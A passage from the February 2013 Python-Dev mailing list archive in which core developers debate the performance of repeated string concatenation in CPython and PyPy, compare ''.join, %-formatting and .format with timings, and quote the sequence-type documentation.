>>     # even less obvious than sum
>>     map(operator.add, array)
>
> That one does not work, it'll try to call the binary `add` with each
> item of the array when the map iterator is reified, erroring out.
>
>      functools.reduce(operator.add, array, '')
>
> would work though, it's an other way to spell `sum` without the
> string prohibition.

Oops, you are right of course, I was thinking reduce but it came out map.
Thanks for the correction.


-- 
Steven

From tismer at stackless.com  Wed Feb 13 13:06:27 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 13:06:27 +0100
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
References: <511AD5E1.1060209@stackless.com>
	<CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
Message-ID: <511B81C3.9030905@stackless.com>

On 13.02.13 08:42, Lennart Regebro wrote:
>> Something is needed - a patch for PyPy or for the documentation I guess.
> Not arguing that it wouldn't be good, but I disagree that it is needed.
>
> This is only an issue when you, as in your proof, have a loop that
> does concatenation. This is usually when looping over a list of
> strings that should be concatenated together. Doing so in a loop with
> concatenation may be the natural way for people new to Python, but the
> "natural" way to do it in Python is with a ''.join() call.
>
> This:
>
>      s = ''.join(('X' for x in xrange(x)))
>
> Is more than twice as fast in Python 2.7 than your example. It is in
> fact also slower in PyPy 1.9 than Python 2.7, but only with a factor
> of two:
>
> Python 2.7:
> time for 10000000 concats = 0.887
> Pypy 1.9:
> time for 10000000 concats = 1.600
>
> (And of course s = 'X'* x takes only a bout a hundredth of the time,
> but that's cheating. ;-)
>

This is not about how to write efficient concatenation and not
for me. It is also not about a constant factor, which I don't really
care about but in situations where speed matters.

This is about a possible algorithmic trap, where code written for
CPython may behave well with some roughly O(n) behavior,
and by switching to PyPy you get a surprise when the same
code now has O(n**2) behavior. Such runtime explosions can damage
the trust in PyPy, with code sitting in some module which you even
did not write but "pip install"-ed it.

So this is important to know, especially for newcomers, and for people
who are giving advice to them.
For algorithmic compatibility, there should no longer
be a feature with this drastic side effect, if that cannot be supported by
all other dialects.

To avoid such hidden traps in larger code bases, documentation is
needed that clearly gives a warning saying "don't do that", like CS
students learn for most other languages.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/


From steve at pearwood.info  Wed Feb 13 13:10:26 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Wed, 13 Feb 2013 23:10:26 +1100
Subject: [Python-Dev] efficient string concatenation   (yep, from 2004)
In-Reply-To: <511AD5E1.1060209@stackless.com>
References: <511AD5E1.1060209@stackless.com>
Message-ID: <511B82B2.2000505@pearwood.info>

On 13/02/13 10:53, Christian Tismer wrote:
> Hi friends,
>
> _efficient string concatenation_ has been a topic in 2004.
> Armin Rigo proposed a patch with the name of the subject,
> more precisely:
>
> /[Patches] [ python-Patches-980695 ] efficient string concatenation//
> //on sourceforge.net, on 2004-06-28.//
> /
> This patch was finally added to Python 2.4 on 2004-11-30.
>
> Some people might remember the larger discussion if such a patch should be
> accepted at all, because it changes the programming style for many of us
> from "don't do that, stupid" to "well, you may do it in CPython", which has quite
> some impact on other implementations (is it fast on Jython, now?).

I disagree. If you look at the archives on the python-list@ and tutor at python.org
mailing lists, you will see that whenever string concatenation comes up, the common
advice given is to use join.

The documentation for strings is also clear that you should not rely on this
optimization:

http://docs.python.org/2/library/stdtypes.html#typesseq

And quadratic performance for repeated concatenation is not unique to Python:
it applies to pretty much any language with immutable strings, including Java,
C++, Lua and Javascript.


> It changed for instance my programming and teaching style a lot, of course!

Why do you say, "Of course"? It should not have changed anything.

Best practice remains the same:

- we should still use join for repeated concatenations;

- we should still avoid + except for small cases which are not performance critical;

- we should still teach beginners to use join;

- while this optimization is nice to have, we cannot rely on it being there
   when it matters.

It's not just Jython and IronPython that can't make use of this optimization. It
can, and does, fail on CPython as well, as it is sensitive to memory
allocation details. See for example:

http://utcc.utoronto.ca/~cks/space/blog/python/ExaminingStringConcatOpt

and here for a cautionary tale about what can happen when the optimization fails
under CPython:

http://mail.python.org/pipermail/python-dev/2009-August/091125.html



-- 
Steven

From storchaka at gmail.com  Wed Feb 13 13:10:56 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Wed, 13 Feb 2013 14:10:56 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511B5442.4020309@hastings.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
Message-ID: <kffvsd$1sl$1@ger.gmane.org>

On 13.02.13 10:52, Larry Hastings wrote:
> I've always hated the "".join(array) idiom for "fast" string
> concatenation--it's ugly and it flies in the face of TOOWTDI.  I think
> everyone should use "x = a + b + c + d" for string concatenation, and we
> should just make that fast.

I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more 
than 3 and some of them are literal strings.



From tismer at stackless.com  Wed Feb 13 13:39:58 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 13:39:58 +0100
Subject: [Python-Dev] efficient string concatenation   (yep, from 2004)
In-Reply-To: <511B82B2.2000505@pearwood.info>
References: <511AD5E1.1060209@stackless.com> <511B82B2.2000505@pearwood.info>
Message-ID: <511B899E.1000302@stackless.com>

On 13.02.13 13:10, Steven D'Aprano wrote:
> On 13/02/13 10:53, Christian Tismer wrote:
>> Hi friends,
>>
>> _efficient string concatenation_ has been a topic in 2004.
>> Armin Rigo proposed a patch with the name of the subject,
>> more precisely:
>>
>> /[Patches] [ python-Patches-980695 ] efficient string concatenation//
>> //on sourceforge.net, on 2004-06-28.//
>> /
>> This patch was finally added to Python 2.4 on 2004-11-30.
>>
>> Some people might remember the larger discussion if such a patch 
>> should be
>> accepted at all, because it changes the programming style for many of us
>> from "don't do that, stupid" to "well, you may do it in CPython", 
>> which has quite
>> some impact on other implementations (is it fast on Jython, now?).
>
> I disagree. If you look at the archives on the python-list@ and 
> tutor at python.org
> mailing lists, you will see that whenever string concatenation comes 
> up, the common
> advice given is to use join.
>
> The documentation for strings is also clear that you should not rely 
> on this
> optimization:
>
> http://docs.python.org/2/library/stdtypes.html#typesseq
>
> And quadratic performance for repeated concatenation is not unique to 
> Python:
> it applies to pretty much any language with immutable strings, 
> including Java,
> C++, Lua and Javascript.
>
>
>> It changed for instance my programming and teaching style a lot, of 
>> course!
>
> Why do you say, "Of course"? It should not have changed anything.

You are right, I was actually over the top with my rant and never recommend
string concatenation when working with real amounts of data.
The surprise was just so big.

I tend to use whatever fits best for small initialization of some modules,
where the fact that concat is cheap lets me stop thinking of big Oh.
Although it probably does not matter much, it makes me feel incomfortable
to do something with potentially bad asymptotics.

>
> Best practice remains the same:
>
> - we should still use join for repeated concatenations;
>
> - we should still avoid + except for small cases which are not 
> performance critical;
>
> - we should still teach beginners to use join;
>
> - while this optimization is nice to have, we cannot rely on it being 
> there
>   when it matters.

I agree that CPython does say this clearly.
Actually I was complaining about the PyPy documentation which does not
mention this, and because PyPy is so very compatible already.

2004 when this stuff came up was the time where PyPy already was
quite active, but the Psyco mindset was still around, too.
Maybe my slightly shocked reaction originates from there, and my
implicit assumption was never corrected ;-)

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/


From dholth at gmail.com  Wed Feb 13 14:17:03 2013
From: dholth at gmail.com (Daniel Holth)
Date: Wed, 13 Feb 2013 08:17:03 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <kffvsd$1sl$1@ger.gmane.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
Message-ID: <CAG8k2+7md-z0S=ytdebr-d7RnComOz-NY-OaiPXinLsVcDS8Qg@mail.gmail.com>

On Wed, Feb 13, 2013 at 7:10 AM, Serhiy Storchaka <storchaka at gmail.com>wrote:

> On 13.02.13 10:52, Larry Hastings wrote:
>
>> I've always hated the "".join(array) idiom for "fast" string
>> concatenation--it's ugly and it flies in the face of TOOWTDI.  I think
>> everyone should use "x = a + b + c + d" for string concatenation, and we
>> should just make that fast.
>>
>
> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more than
> 3 and some of them are literal strings.
>

Fixed: x = ('%s' *  len(abcd)) % abcd
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/3a1a9ac0/attachment.html>

From regebro at gmail.com  Wed Feb 13 14:23:17 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 14:23:17 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <kffvsd$1sl$1@ger.gmane.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
Message-ID: <CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>

On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com> wrote:
> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more than 3
> and some of them are literal strings.

This has the benefit of being slow both on CPython and PyPy. Although
using .format() is even slower. :-)

//Lennart

From tismer at stackless.com  Wed Feb 13 14:30:21 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 14:30:21 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAG8k2+7md-z0S=ytdebr-d7RnComOz-NY-OaiPXinLsVcDS8Qg@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAG8k2+7md-z0S=ytdebr-d7RnComOz-NY-OaiPXinLsVcDS8Qg@mail.gmail.com>
Message-ID: <511B956D.3090207@stackless.com>

On 13.02.13 14:17, Daniel Holth wrote:
> On Wed, Feb 13, 2013 at 7:10 AM, Serhiy Storchaka <storchaka at gmail.com 
> <mailto:storchaka at gmail.com>> wrote:
>
>     On 13.02.13 10:52, Larry Hastings wrote:
>
>         I've always hated the "".join(array) idiom for "fast" string
>         concatenation--it's ugly and it flies in the face of TOOWTDI.
>          I think
>         everyone should use "x = a + b + c + d" for string
>         concatenation, and we
>         should just make that fast.
>
>
>     I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is
>     more than 3 and some of them are literal strings.
>
>
> Fixed: x = ('%s' *  len(abcd)) % abcd
>

Which becomes in the new formatting style

     x = ('{}' *  len(abcd)).format(*abcd)

hmm, hmm, not soo nice

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/408e88d8/attachment-0001.html>

From chris at python.org  Wed Feb 13 15:18:42 2013
From: chris at python.org (Chris Withers)
Date: Wed, 13 Feb 2013 14:18:42 +0000
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511B7EB5.3040401@pearwood.info>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<511B584E.9020206@python.org> <511B7EB5.3040401@pearwood.info>
Message-ID: <511BA0C2.6010606@python.org>

On 13/02/2013 11:53, Steven D'Aprano wrote:
>> I fixed a performance bug in httplib some years ago by doing the exact
>> opposite; += -> ''.join(). In that case, it changed downloading a file
>> from 20 minutes to 3 seconds. That was likely on Python 2.5.
>
>
> I remember it well.
>
> http://mail.python.org/pipermail/python-dev/2009-August/091125.html
>
> I frequently link to this thread as an example of just how bad repeated
> string concatenation can be, how painful it can be to debug, and how
> even when the optimization is fast on one system, it may fail and be
> slow on another system.

Amusing is that 
http://mail.python.org/pipermail/python-dev/2009-August/thread.html#91125 doesn't 
even list the email where I found the problem...

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From amauryfa at gmail.com  Wed Feb 13 15:27:31 2013
From: amauryfa at gmail.com (Amaury Forgeot d'Arc)
Date: Wed, 13 Feb 2013 15:27:31 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
Message-ID: <CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>

2013/2/13 Lennart Regebro <regebro at gmail.com>

> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
> wrote:
> > I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
> than 3
> > and some of them are literal strings.
>
> This has the benefit of being slow both on CPython and PyPy. Although
> using .format() is even slower. :-)


Did you really try it?
PyPy is really fast with str.__mod__, when the format string is a constant.
Yes, it's jitted.

-- 
Amaury Forgeot d'Arc
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/8469ecd0/attachment.html>

From tismer at stackless.com  Wed Feb 13 15:34:06 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 15:34:06 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
Message-ID: <511BA45E.2080908@stackless.com>

On 13.02.13 15:27, Amaury Forgeot d'Arc wrote:
>
> 2013/2/13 Lennart Regebro <regebro at gmail.com <mailto:regebro at gmail.com>>
>
>     On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka
>     <storchaka at gmail.com <mailto:storchaka at gmail.com>> wrote:
>     > I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is
>     more than 3
>     > and some of them are literal strings.
>
>     This has the benefit of being slow both on CPython and PyPy. Although
>     using .format() is even slower. :-)
>
>
> Did you really try it?
> PyPy is really fast with str.__mod__, when the format string is a 
> constant.
> Yes, it's jitted.

How about the .format() style: Is that jitted as well?
In order to get people to prefer .format over __mod__,
it would be nice if PyPy made this actually _faster_ :-)

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/85fb58ea/attachment.html>

From storchaka at gmail.com  Wed Feb 13 15:40:47 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Wed, 13 Feb 2013 16:40:47 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
Message-ID: <kfg8m3$qqt$1@ger.gmane.org>

On 13.02.13 15:23, Lennart Regebro wrote:
> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com> wrote:
>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more than 3
>> and some of them are literal strings.
> 
> This has the benefit of being slow both on CPython and PyPy. Although
> using .format() is even slower. :-)

Only slightly.

$ ./python -m timeit -s "spam = 'spam'; ham = 'ham'"  "spam + ' = ' + ham + '\n'"
1000000 loops, best of 3: 0.501 usec per loop
$ ./python -m timeit -s "spam = 'spam'; ham = 'ham'"  "''.join([spam, ' = ', ham, '\n'])"
1000000 loops, best of 3: 0.504 usec per loop
$ ./python -m timeit -s "spam = 'spam'; ham = 'ham'"  "'%s = %s\n' % (spam, ham)"
1000000 loops, best of 3: 0.524 usec per loop

But the last variant looks better for me.



From ncoghlan at gmail.com  Wed Feb 13 15:44:09 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 14 Feb 2013 00:44:09 +1000
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <511B81C3.9030905@stackless.com>
References: <511AD5E1.1060209@stackless.com>
	<CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
	<511B81C3.9030905@stackless.com>
Message-ID: <CADiSq7cnZeQi6FSSaTz5XXmkDtixD+ppOJKXLQYw5TiN4GQsDw@mail.gmail.com>

On Wed, Feb 13, 2013 at 10:06 PM, Christian Tismer <tismer at stackless.com> wrote:
> To avoid such hidden traps in larger code bases, documentation is
> needed that clearly gives a warning saying "don't do that", like CS
> students learn for most other languages.

How much more explicit do you want us to be?

"""6. CPython implementation detail: If s and t are both strings, some
Python implementations such as CPython can usually perform an in-place
optimization for assignments of the form s = s + t or s += t. When
applicable, this optimization makes quadratic run-time much less
likely. This optimization is both version and implementation
dependent. For performance sensitive code, it is preferable to use the
str.join() method which assures consistent linear concatenation
performance across versions and implementations."""

from http://docs.python.org/2/library/stdtypes.html#typesseq

So please don't blame us for people not reading a warning that is already there.

Since my rewrite of the sequence docs, Python 3 doesn't even
acknowledge the hack's existence and is quite explicit about what you
need to do to get reliably linear behaviour:

"""6. Concatenating immutable sequences always results in a new
object. This means that building up a sequence by repeated
concatenation will have a quadratic runtime cost in the total sequence
length. To get a linear runtime cost, you must switch to one of the
alternatives below:

    if concatenating str objects, you can build a list and use
str.join() at the end or else write to a io.StringIO instance and
retrieve its value when complete
    if concatenating bytes objects, you can similarly use bytes.join()
or io.BytesIO, or you can do in-place concatenation with a bytearray
object. bytearray objects are mutable and have an efficient
overallocation mechanism
    if concatenating tuple objects, extend a list instead
    for other types, investigate the relevant class documentation"""

from http://docs.python.org/3/library/stdtypes.html#common-sequence-operations

Deliberately *relying* on the += hack to avoid quadratic runtime is
just plain wrong, and our documentation already says so.

If anyone really thinks it will help, I can add a CPython
implementation note back in to the Python 3 docs as well, pointing out
that CPython performance measurements may hide broken algorithmic
complexity related to string concatenation, but the corresponding note
in Python 2 doesn't seem to have done much good :P

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From amauryfa at gmail.com  Wed Feb 13 15:47:45 2013
From: amauryfa at gmail.com (Amaury Forgeot d'Arc)
Date: Wed, 13 Feb 2013 15:47:45 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511BA45E.2080908@stackless.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
	<511BA45E.2080908@stackless.com>
Message-ID: <CAGmFidYRNefCV0uC7PwAh0ouck3Sh7_3dLHY2DjdtSA3r8xJ=A@mail.gmail.com>

2013/2/13 Christian Tismer <tismer at stackless.com>

> On 13.02.13 15:27, Amaury Forgeot d'Arc wrote:
>
>
> 2013/2/13 Lennart Regebro <regebro at gmail.com>
>
>> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
>> wrote:
>> > I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
>> than 3
>> > and some of them are literal strings.
>>
>>  This has the benefit of being slow both on CPython and PyPy. Although
>> using .format() is even slower. :-)
>
>
> Did you really try it?
> PyPy is really fast with str.__mod__, when the format string is a constant.
> Yes, it's jitted.
>
>
> How about the .format() style: Is that jitted as well?
> In order to get people to prefer .format over __mod__,
> it would be nice if PyPy made this actually _faster_ :-)


.format() is jitted as well.
But it's still slower than str.__mod__ (about 25%)
I suppose it can be further optimized.

-- 
Amaury Forgeot d'Arc
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/c5f6017a/attachment.html>

From regebro at gmail.com  Wed Feb 13 15:53:27 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 15:53:27 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
Message-ID: <CAL0kPAVgSmRzdW3AoZOOUGUVO-nMNAg_5SK7iBYT+1BRGZOuZw@mail.gmail.com>

On Wed, Feb 13, 2013 at 3:27 PM, Amaury Forgeot d'Arc
<amauryfa at gmail.com> wrote:
>
> 2013/2/13 Lennart Regebro <regebro at gmail.com>
>>
>> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
>> wrote:
>> > I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
>> > than 3
>> > and some of them are literal strings.
>>
>> This has the benefit of being slow both on CPython and PyPy. Although
>> using .format() is even slower. :-)
>
>
> Did you really try it?

Yes.

> PyPy is really fast with str.__mod__, when the format string is a constant.
> Yes, it's jitted.

Simple concatenation: s1 = s1 + s2
PyPy-1.9 time for 100 concats of 10000 length strings = 7.133
CPython time for 100 concats of 10000 length strings = 0.005

Making a list of strings and joining after the loop: s1 = ''.join(l)
PyPy-1.9 time for 100 concats of 10000 length strings = 0.005
CPython time for 100 concats of 10000 length strings = 0.003

Old formatting: s1 = '%s%s' % (s1, s2)
PyPy-1.9 time for 100 concats of 10000 length strings = 20.924
CPython time for 100 concats of 10000 length strings = 3.787

New formatting: s1 = '{0}{1}'.format(s1, s2)
PyPy-1.9 time for 100 concats of 10000 length strings = 13.249
CPython time for 100 concats of 10000 length strings = 3.751


I have, by the way, yet to find a usecase where the fastest method in
CPython is not also the fastest in PyPy.

//Lennart

From regebro at gmail.com  Wed Feb 13 15:55:41 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 15:55:41 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
